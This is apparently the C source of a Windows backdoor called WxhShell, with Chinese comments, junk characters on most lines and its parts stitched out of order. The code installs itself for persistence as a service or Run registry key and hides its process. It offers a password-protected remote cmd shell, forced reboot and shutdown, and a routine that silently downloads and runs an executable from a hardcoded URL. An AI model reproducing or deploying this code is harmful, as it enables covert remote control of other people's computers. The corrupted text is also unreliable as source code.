    } R]Yhuo9,&n  
  // 关机 =5|5j!i=q  
  case 'd': { rka:.#!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `P5"5N\h  
    if(Boot(SHUTDOWN)) 4B y-+C*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "/'= gE  
    else { Td  F<  
    closesocket(wsh); e"CLhaT  
    ExitThread(0); ;dFe >`~  
    } *@& "MZ/M  
    break; S }n;..{  
    } 1}uDgz^  
  // 获取shell IID(mmy6 L  
  case 's': { fA8+SaXW%  
    CmdShell(wsh); 9vbh5xX   
    closesocket(wsh); yn#h$o<  
    ExitThread(0); 19.cf3Dh  
    break; DsX>xzM  
  } dvD<>{U,8  
  // 退出 Ax0,7,8y  
  case 'x': { W*<]`U_.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <C$<(Dw5  
    CloseIt(wsh); cBI )?  
    break; %8L<KJd  
    }  mb/[2y<  
  // 离开 Rpk`fxAO  
  case 'q': { `"H?nf0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ds87#/Yfv  
    closesocket(wsh); rxK0<pWJhx  
    WSACleanup(); K|G $s  
    exit(1); #I?iR 3u  
    break; >>$|,Q-.  
        } %)9]dOdOk  
  } #FB>}:L{h*  
  } S |x)7NC  
?Qig$  
  // 提示信息 Y*k<NeDyn  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9>R|k$`  
} 'u[o`31.  
  } sPg6eAd~?  
k^pu1g=6I  
  return; >p*HXr|o$  
} 42CMRGv  
uC(S`Q[Bg  
// shell模块句柄 N >!xedw=  
int CmdShell(SOCKET sock) gJ.6m&+  
{ h`]/3Ma*:  
STARTUPINFO si; 5uo(z,WLR  
ZeroMemory(&si,sizeof(si)); FA9e(Ha   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w.aFaR)04  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {0e{!v  
PROCESS_INFORMATION ProcessInfo; ~It+|X=Kx  
char cmdline[]="cmd"; M:M>@|)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n ;5?^Un%  
  return 0; LtztjAm.  
} uAs*{:4n  
d;SRK @  
// 自身启动模式 %-/:ps  
int StartFromService(void) t4/eB<fP  
{ ]&U|d  
typedef struct Noxz kpMF  
{ &t/<yq}{  
  DWORD ExitStatus; 9yo[T(8  
  DWORD PebBaseAddress; 5vi#ItN}|  
  DWORD AffinityMask; 0juIkN#  
  DWORD BasePriority; )m8>w6"  
  ULONG UniqueProcessId; rp#*uV9;  
  ULONG InheritedFromUniqueProcessId; X&s\_jQ  
}   PROCESS_BASIC_INFORMATION; a{HgIQg_>R  
(eG]Cp@  
PROCNTQSIP NtQueryInformationProcess; R6Mxdm2P}  
W 'a~pB1I  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $Ds]\j*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8.Ef5-m  
?gwbg*  
  HANDLE             hProcess; m=\eL~ h  
  PROCESS_BASIC_INFORMATION pbi; ev%t5NZ  
MD4 j~q\ g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8ex:OTzn|  
  if(NULL == hInst ) return 0; y/I ~x+ y  
q;../h]Ne  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J+ZdZa}Ob  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $lAb6e$n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {2k< k(,  
'eDgeWt/CQ  
  if (!NtQueryInformationProcess) return 0; qj"syO  
[l%fL9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T{4fa^c2J  
  if(!hProcess) return 0; 1+tt'  
R}X_2""  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $;i$k2n:  
60%~+oHi~  
  CloseHandle(hProcess); Usf"K*A  
dh;MpE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0 ,Qj:  
if(hProcess==NULL) return 0; y?z_^ppj  
/Np"J  
HMODULE hMod; b/,!J] W  
char procName[255]; cvV?V\1f  
unsigned long cbNeeded; sx<+ *Trl  
s.`%ZDl@Y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5'c+313 lm  
#X@<U <R  
  CloseHandle(hProcess); =R;1vUio  
vYR=TN=Z4  
if(strstr(procName,"services")) return 1; // 以服务启动 0tm_}L$g=b  
4a.e ,gitf  
  return 0; // 注册表启动 e4YfT r  
} XBWSO@M'  
O4d^ig-xaH  
// 主模块 xDA,?i;T 0  
int StartWxhshell(LPSTR lpCmdLine) f+TBs_  
{ 2@m(XT (  
  SOCKET wsl; g1 Wtu*K3  
BOOL val=TRUE; JNM@Q  
  int port=0; 76_8e{zbr  
  struct sockaddr_in door; }RN=9J  
MZMS ?}.2  
  if(wscfg.ws_autoins) Install(); JIbzh?$aD  
XJlDiBs9=Q  
port=atoi(lpCmdLine); YNgR1 :l  
$:u7Dv}\  
if(port<=0) port=wscfg.ws_port; 3@TG.)N4  
C*y6~AYN#  
  WSADATA data; r< ?o}Qq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O{ %A&Ui  
0]eh>ab>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !OoaE* s  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); me[J\MJ;w^  
  door.sin_family = AF_INET; ?V5Pt s  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vi!r8k  
  door.sin_port = htons(port); w] 5U  
fv j5[Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *Nf4bH%MN  
closesocket(wsl); \p@nH%@v  
return 1; }Cmj(k`~  
} |+;KhC  
'tV"^KQHI  
  if(listen(wsl,2) == INVALID_SOCKET) { d JQ }{,+6  
closesocket(wsl); mWN1Q<vn,l  
return 1; *@G(3 n  
} 0'%+X|  
  Wxhshell(wsl); cfC;eRgq~  
  WSACleanup(); g3|Y$/J7P  
APQQ:'>N4~  
return 0; wwK~H  
*`g-gk  
} Z\*5:a]  
LN~N Fjs  
// 以NT服务方式启动 C;)Xwm>e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c5iormb"#  
{ m.HX2(&\3  
DWORD   status = 0; -@ UN]K  
  DWORD   specificError = 0xfffffff; k;K> ,$ F  
z%}CB Tm  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0XR;5kd%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; W p7@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; P$(WdVG  
  serviceStatus.dwWin32ExitCode     = 0; QSn;a 4f  
  serviceStatus.dwServiceSpecificExitCode = 0; [TbG55  
  serviceStatus.dwCheckPoint       = 0; zqvRkMWcM  
  serviceStatus.dwWaitHint       = 0; vSYun I  
@wEKCn|}o  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _ r^90  
  if (hServiceStatusHandle==0) return; 2{sD*8&`  
m|nL!Wc  
status = GetLastError(); J/]o WC`u  
  if (status!=NO_ERROR) CSG+bqUG  
{ G%j/eTTf  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \~z?PA.$  
    serviceStatus.dwCheckPoint       = 0; \'It,PN  
    serviceStatus.dwWaitHint       = 0; =2;mxJ#o  
    serviceStatus.dwWin32ExitCode     = status; y?*[}S  
    serviceStatus.dwServiceSpecificExitCode = specificError; $/<"Si&(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i)@U.-*5m  
    return; <@U.   
  } \N`fWh8&  
MAwC\7n+X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9*-pden l  
  serviceStatus.dwCheckPoint       = 0; M\\e e3Ih  
  serviceStatus.dwWaitHint       = 0; "UhK]i*@l  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z0()pT  
} ;"d,~nLn  
@pqY9_:P1  
// 处理NT服务事件,比如:启动、停止 J+3\2D?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) dJ%wVY0z=  
{ VVI8)h8  
switch(fdwControl)  fW5" 4,  
{ !7mvyc!'!  
case SERVICE_CONTROL_STOP: k\+y4F8$x  
  serviceStatus.dwWin32ExitCode = 0; u@=+#q~/P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q*09 E  
  serviceStatus.dwCheckPoint   = 0; gJFR1  
  serviceStatus.dwWaitHint     = 0; |n|U;|'^  
  { RI[7M (  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }J+ ce  
  } %jbJ6c  
  return; bxd3  
case SERVICE_CONTROL_PAUSE: 9:9N)cNvfX  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?$30NK3G  
  break; bk\dy7  
case SERVICE_CONTROL_CONTINUE: ;xW8Z<\-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; GZ/pz+)i&  
  break; y+ 6`| h_  
case SERVICE_CONTROL_INTERROGATE: _XH4;uGg  
  break; eD*?q7  
}; _" ?c9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); };|!Lhl+  
} *<`7|BH3  
>u9id>+  
// 标准应用程序主函数 Ax5mP8S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O3^98n2  
{ ^[X|As2  
m%e^&N#%6r  
// 获取操作系统版本 )CC?vV  
OsIsNt=GetOsVer(); 5`4}A%@&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kP!%|&w;  
Tm%$J  
  // 从命令行安装 fs2m N1  
  if(strpbrk(lpCmdLine,"iI")) Install(); XPHQAo[(s  
r.^0!(d  
  // 下载执行文件 8BYIxHHz  
if(wscfg.ws_downexe) { S+.21,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ri/t(m^{W  
  WinExec(wscfg.ws_filenam,SW_HIDE); w8AJ#9W  
} #d }0}7ue  
4o1Q7  
if(!OsIsNt) { :0 W6uFNOU  
// 如果时win9x,隐藏进程并且设置为注册表启动 tx^92R2/  
HideProc(); +Od1)_'\D3  
StartWxhshell(lpCmdLine); *A~($ZtL  
} ;jRL3gAe)  
else [n!$D(|"!V  
  if(StartFromService()) 9nT?|n]>  
  // 以服务方式启动 kJ%{ [1fr  
  StartServiceCtrlDispatcher(DispatchTable); TqENaC#&  
else NEq t).   
  // 普通方式启动 Y5n z?a  
  StartWxhshell(lpCmdLine); VKq0 <+M  
$Nj'OJSj%  
return 0; 8q_1(& O  
} r5f^WZ$-  
+IwdMJ8&8  
Xtuhcdzu[  
Hnfvo*6d.e  
=========================================== T6sr/<#<(  
D3<IuWeM  
>}ro[x`K  
9 b?i G  
;V|M3  
l%^h2 o  
" o `b`*Z  
6!4';2Q  
#include <stdio.h> Dl0/-=L  
#include <string.h> B1|?RfCe  
#include <windows.h> Qy4X#wgD  
#include <winsock2.h> Ty`-r5  
#include <winsvc.h> >pgQb9 T+_  
#include <urlmon.h> "sFW~Y  
mZ`1JO9  
#pragma comment (lib, "Ws2_32.lib") \\Y,?x_0T  
#pragma comment (lib, "urlmon.lib") gb.f%rlZ`  
\BN|?r$a  
#define MAX_USER   100 // 最大客户端连接数 ^ H'hD  
#define BUF_SOCK   200 // sock buffer J9g|#1G  
#define KEY_BUFF   255 // 输入 buffer /yLzDCKn  
aXRv}WO$>k  
#define REBOOT     0   // 重启 +n@f'a">  
#define SHUTDOWN   1   // 关机 !nec 7  
gE\A9L~b  
#define DEF_PORT   5000 // 监听端口 IM@"AD52a  
W;^Rx.W  
#define REG_LEN     16   // 注册表键长度 "4 'kb  
#define SVC_LEN     80   // NT服务名长度 [<_"`$sm=  
MB1sQReOO  
// 从dll定义API 4O$mR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  pgC d  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A ?#]s  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )J;ny!^2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6a7vlo  
[m~b[ZwES  
// wxhshell配置信息 fr8Xoa%1=  
struct WSCFG { H":/Ckok  
  int ws_port;         // 监听端口 $kD7y5  
  char ws_passstr[REG_LEN]; // 口令 EY So=  
  int ws_autoins;       // 安装标记, 1=yes 0=no BTO A &Ag  
  char ws_regname[REG_LEN]; // 注册表键名 0Xp nbB~~I  
  char ws_svcname[REG_LEN]; // 服务名 %_>Tcm=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1#/6r :  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 g+e:@@ug  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +H41]W6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  ,Qat  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,o BlJvm  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I4rV5;f H4  
ojX%RU  
}; NPS .6qY  
yb69Q#V2  
// default Wxhshell configuration k69kv9v@J  
struct WSCFG wscfg={DEF_PORT, ~D*b3K 8X  
    "xuhuanlingzhe", <'W=]IAV  
    1, ldK>HxM%Z  
    "Wxhshell", _Q> "\_,  
    "Wxhshell", }6<)yW}U  
            "WxhShell Service", p=2zS.  
    "Wrsky Windows CmdShell Service", =D{B}=D\IM  
    "Please Input Your Password: ", }I\-HP8!gv  
  1, :=y0'f V(@  
  "http://www.wrsky.com/wxhshell.exe", Dzo{PstM%  
  "Wxhshell.exe" e"*BHvy F  
    }; yDzdE;  
9e]'OKL+  
// 消息定义模块 ~ W@X-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :]yg  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `Uv)Sf{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; J`W-]3S#  
char *msg_ws_ext="\n\rExit."; A1Ka(3"  
char *msg_ws_end="\n\rQuit."; "t=UX -3  
char *msg_ws_boot="\n\rReboot..."; \N?7WQ  
char *msg_ws_poff="\n\rShutdown..."; FtN}]@F  
char *msg_ws_down="\n\rSave to "; 5!t b$p#z  
6eM6[  
char *msg_ws_err="\n\rErr!"; l"kx r96  
char *msg_ws_ok="\n\rOK!"; MvBD@`&7  
>'N!dM.+9  
char ExeFile[MAX_PATH]; B "*`R!y  
int nUser = 0; B=r0?%DX"1  
HANDLE handles[MAX_USER]; 4\\.n  
int OsIsNt; ?d4Boe0-a2  
-]/7hN*v  
SERVICE_STATUS       serviceStatus; A])OPqP{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; O"\nR:\  
Cw%BZ  
// 函数声明 RE 9nU%!  
int Install(void); MA$Xv`6I\  
int Uninstall(void); |gW    
int DownloadFile(char *sURL, SOCKET wsh); (|dPeix|  
int Boot(int flag); <~N%W#z/  
void HideProc(void); Vg{Zv4+t  
int GetOsVer(void); p!}ZdX[u  
int Wxhshell(SOCKET wsl); 7u::5W-q  
void TalkWithClient(void *cs); eHUg-\dy  
int CmdShell(SOCKET sock); 4#_$@ r  
int StartFromService(void); M'DWu|dIBA  
int StartWxhshell(LPSTR lpCmdLine); sXiv,  
* MEe,4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9s(i`RTM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [A]Ca$':  
JD ]OIh  
// 数据结构和表定义 1Fs-0)s8  
SERVICE_TABLE_ENTRY DispatchTable[] = 0vn[a,W<A  
{ gM#jA8gz  
{wscfg.ws_svcname, NTServiceMain}, \-c#jo.$8  
{NULL, NULL} qi&D+~Gv!  
}; Ib6(Bp9.L  
d/]|657u  
// 自我安装 k1#5nYN.  
int Install(void) ljVIE/iq  
{ =e{.yggE  
  char svExeFile[MAX_PATH]; r1;e 0\?`  
  HKEY key; Yy hny[fa9  
  strcpy(svExeFile,ExeFile); 0cFn{q'u  
N xFUO0O3  
// 如果是win9x系统,修改注册表设为自启动 ) "[HZ/  
if(!OsIsNt) { (i]Z|@|)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1%jH^,t/m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p,;mYms  
  RegCloseKey(key); \_ 9rr6^ "  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L,$3Yj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O |WbFf  
  RegCloseKey(key); pv&^D,H,  
  return 0; (ii( yz|  
    } s/t11;  
  } 4-V)_U#8  
} O,|\"b1(  
else { 3cixQzb}u  
(sCAR=5v\  
// 如果是NT以上系统,安装为系统服务 I+" lrU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @VK6JjIq  
if (schSCManager!=0) Vo M6  
{ "r..  
  SC_HANDLE schService = CreateService OJpj}R  
  ( 'E-FO_N  
  schSCManager, ^C7C$TZS  
  wscfg.ws_svcname, G6Nb{m  
  wscfg.ws_svcdisp, NAJVr}4f  
  SERVICE_ALL_ACCESS, 7Cy<mS  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9B=1 Yr[  
  SERVICE_AUTO_START, %i"}x/CD[  
  SERVICE_ERROR_NORMAL, EnJ!mr  
  svExeFile, =EpJZt  
  NULL, 0hwj\{"  
  NULL, |dk[cX>  
  NULL, qfr Ni1\9-  
  NULL, e:E# b~{  
  NULL 6t7fa<  
  ); [zh"x#AyI  
  if (schService!=0) rwgsXS8W6  
  { ,Sg33N ?  
  CloseServiceHandle(schService); opD-vDa h  
  CloseServiceHandle(schSCManager); bX2"89{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 74f9|~%  
  strcat(svExeFile,wscfg.ws_svcname); LT_iS^&1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *_"u)<J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3sbK7,4  
  RegCloseKey(key); {G*OR,HN  
  return 0; h1f8ktF  
    } QDE$E.a  
  } !d8A  
  CloseServiceHandle(schSCManager); B+"g2Y  
} 9M'DC^x*T  
} 9/kXc4  
;^3$kF  
return 1; ; )llt G  
} +pp9d-n  
CVQB"L  
// 自我卸载 _kN*e:t  
int Uninstall(void) W&C-/O,m  
{ Gx'TkU=  
  HKEY key; CT*,<l-D  
h}&b+ 1{X  
if(!OsIsNt) { ]tY:,Mfs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Cv^`&\[SW+  
  RegDeleteValue(key,wscfg.ws_regname); 6ep>hS4A&  
  RegCloseKey(key); Fm3t'^SqF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !9 f4R/ ?  
  RegDeleteValue(key,wscfg.ws_regname); c-8!#~M(  
  RegCloseKey(key); CS@&^SEj  
  return 0; &=Y e6 f[  
  } .:9s}%Z r  
} o~1 Kp!U  
} f*fE};  
else { &HDP!SLS  
[BDGR B7d"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M_|> kp  
if (schSCManager!=0) !w2gGy:I>  
{ f/y`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); DWm SC}{.  
  if (schService!=0) n:4uA`Vg  
  { Z cpmquf8L  
  if(DeleteService(schService)!=0) { *e/K:k  
  CloseServiceHandle(schService); T3pdx~66  
  CloseServiceHandle(schSCManager); |B^G:7c  
  return 0; Vmi{X b]<  
  } ~uj;qq  
  CloseServiceHandle(schService); ln<]-)&C  
  } 6rX_-Mm6w  
  CloseServiceHandle(schSCManager); s>%Pd7:  
} T ):SGW  
} `ifiL   
ao$.6X8fQ  
return 1; L CSeOR  
} YnTB&GPxl  
/:[2'_Xl  
// 从指定url下载文件 {{!Y]\2S  
int DownloadFile(char *sURL, SOCKET wsh) rU2iy"L  
{ kWW w<cA  
  HRESULT hr; F L=,YP  
char seps[]= "/"; 6`\ya@  
char *token; ]R IVc3?;$  
char *file; xf,5R9g/  
char myURL[MAX_PATH]; W?XizTW  
char myFILE[MAX_PATH]; 1*Ar{:+ua  
`G$1n#&  
strcpy(myURL,sURL); BfmsMW  
  token=strtok(myURL,seps); k6**u  
  while(token!=NULL) ;[$n=VX`  
  { -<f;l _(  
    file=token; Q+$Tt7/  
  token=strtok(NULL,seps); +j[oEI`e  
  } Z|* !y]We  
I021p5h|  
GetCurrentDirectory(MAX_PATH,myFILE); ]}PV"|#K{c  
strcat(myFILE, "\\"); H0*,8i5I  
strcat(myFILE, file); @pza>^wk  
  send(wsh,myFILE,strlen(myFILE),0); JPx7EEkZR4  
send(wsh,"...",3,0); ;#k-)m%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); q/gB<p9  
  if(hr==S_OK) G/?~\ }:s  
return 0; <{J5W6  
else " I+p  
return 1; ofdZ1F  
6}dR$*=  
} P?ep]  
Re= WfG  
// 系统电源模块 q4 k@l  
int Boot(int flag) P0GeZ02]  
{ ,FQK;BU!lh  
  HANDLE hToken; ,,<PVTd  
  TOKEN_PRIVILEGES tkp; uCP>y6I  
rrBAQY|.  
  if(OsIsNt) { KMK`F{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7^:4A'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;LwqTlJ*[L  
    tkp.PrivilegeCount = 1; TprtE.mP  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; d"Q |I  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xN"Z1n7t  
if(flag==REBOOT) { r':TMhzHq?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :@3Wg3N  
  return 0; b1`r!B,  
} 0pgY1i7  
else { 53OJ-m%a  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V'gw\mcb  
  return 0; pchBvly+0  
} s(2GFc  
  } H-5<S@8  
  else { % _M2N.n  
if(flag==REBOOT) { wts:65~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2>PH 8  
  return 0; 'r} fZ  
} p@Q5b}xCG_  
else { @gfDp<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) RW7(r/C  
  return 0; 7C,T&g 1:  
} IB5BO7J  
} ;N=G=X|}  
Ug"rJMZG  
return 1; ! . HnGb+  
} g!J0L7 i|  
/Z%>ArAx  
// win9x进程隐藏模块 I!: z,t<  
void HideProc(void) NCS!:d:Ry  
{ )j&"%[2F  
F # YPOH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'cdN3i(  
  if ( hKernel != NULL ) TH1B#Y#<J  
  { {rH9grb  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); GG6% bF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); edC 4BHE  
    FreeLibrary(hKernel); kODK@w V-  
  } n \G Ry'  
$1Nd_pD=  
return; &jQ?v@|1c  
} rR{,)fX;  
4sF v?W  
// 获取操作系统版本 ":W%,`@$  
int GetOsVer(void) GH4iuPh]  
{ !.X.tc  
  OSVERSIONINFO winfo; )@g;j>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2XSHZ|;  
  GetVersionEx(&winfo); e$/B_o7(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  u\e\'\  
  return 1; zA+@FR?  
  else !]?$f=  
  return 0; P\R27Jd  
} g@v s*xE  
fP-|+Ty O  
// 客户端句柄模块 dE=Ue#1U@5  
int Wxhshell(SOCKET wsl) )ZR+lX }  
{ %@J1]E;  
  SOCKET wsh; "5|Lz)=  
  struct sockaddr_in client; #Z!b G?="  
  DWORD myID; uQ Co6"e  
WMuD}s  
  while(nUser<MAX_USER) Mtm OUI&'  
{ o4^Fo p  
  int nSize=sizeof(client); @e2}BhB2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x^=M6;:  
  if(wsh==INVALID_SOCKET) return 1; &<x@1,  
Ukphd$3J=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); qN| fEO>  
if(handles[nUser]==0) VHUW]8We  
  closesocket(wsh); Z@rN_WXx  
else u=l1s1>  
  nUser++; JiS5um=(.  
  } x;E2~&E  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Cpl;vQ  
]`=X'fED  
  return 0; ] Uc`J8p,  
} 83ipf"]*  
N=1JhjVk"  
// 关闭 socket dj9 ?t  
void CloseIt(SOCKET wsh) .m4;^S2cO  
{ g[z.*y/  
closesocket(wsh);  -7]Xjb5  
nUser--; )9nElb2  
ExitThread(0); YE+$H%Jl!  
} OyG"1F  
\l#>dq"Y  
// 客户端请求句柄 0lk;F  
void TalkWithClient(void *cs) L;t)c  
{ sKaE-sbJY  
b3$k9dmxV+  
  SOCKET wsh=(SOCKET)cs; T3&`<%,f  
  char pwd[SVC_LEN]; /\d$/~BFi  
  char cmd[KEY_BUFF]; in%;Eqk  
char chr[1]; PH4%R]{8{  
int i,j; Wa"(m*hW  
;GHvPQc_  
  while (nUser < MAX_USER) { "E=j|q  
Pt< s* (  
if(wscfg.ws_passstr) { JcO08n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B/uniR^x  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w Fn[9_`*  
  //ZeroMemory(pwd,KEY_BUFF); l95<QI  
      i=0; &~sfYW  
  while(i<SVC_LEN) { d.<~&.-$  
k)(Biz398E  
  // 设置超时 Y;J*4k]  
  fd_set FdRead; _O:WG&a6  
  struct timeval TimeOut; F1azZ (  
  FD_ZERO(&FdRead); 3ha|0[r9  
  FD_SET(wsh,&FdRead); -\$`i c$"1  
  TimeOut.tv_sec=8; Kf,-4)  
  TimeOut.tv_usec=0; TW&DFKK`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); JN3cg  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ``Q 2P%  
7YIK9edP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D@YP7  
  pwd=chr[0]; p#8W#t$  
  if(chr[0]==0xd || chr[0]==0xa) { {==pZpyyh  
  pwd=0; =(r* 5vd  
  break; $6f\uuTU2"  
  } D$k8^Vs  
  i++; ,\PVC@xJ  
    } +*nGp5=^GE  
@!tVr3;N$  
  // 如果是非法用户,关闭 socket 9L eNe}9v  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $\Lyi#<  
} LX+5|u  
;-mdi/*g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1'w:`/_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yWIm&Q:  
Xo5$X7m  
while(1) { h\[\\m O  
AD5) .}[F  
  ZeroMemory(cmd,KEY_BUFF); WPuz]Ty  
wNCCH55Pt  
      // 自动支持客户端 telnet标准   /ci]}`'ws  
  j=0; ,%"xH4d  
  while(j<KEY_BUFF) { h+UnZfm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,8Iv9M}2  
  cmd[j]=chr[0]; 3C>qh{z"  
  if(chr[0]==0xa || chr[0]==0xd) { JHV)ZOO  
  cmd[j]=0; &M&{yc*%  
  break; A]`:VC=IU  
  } j} HFs0<L  
  j++; <_S@6 ?  
    } |lQ;ALH!  
{kB `>VS  
  // 下载文件 G&{HTYP  
  if(strstr(cmd,"http://")) { |  FM }  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Jcf"#u-Q/  
  if(DownloadFile(cmd,wsh)) P8yIegPY  
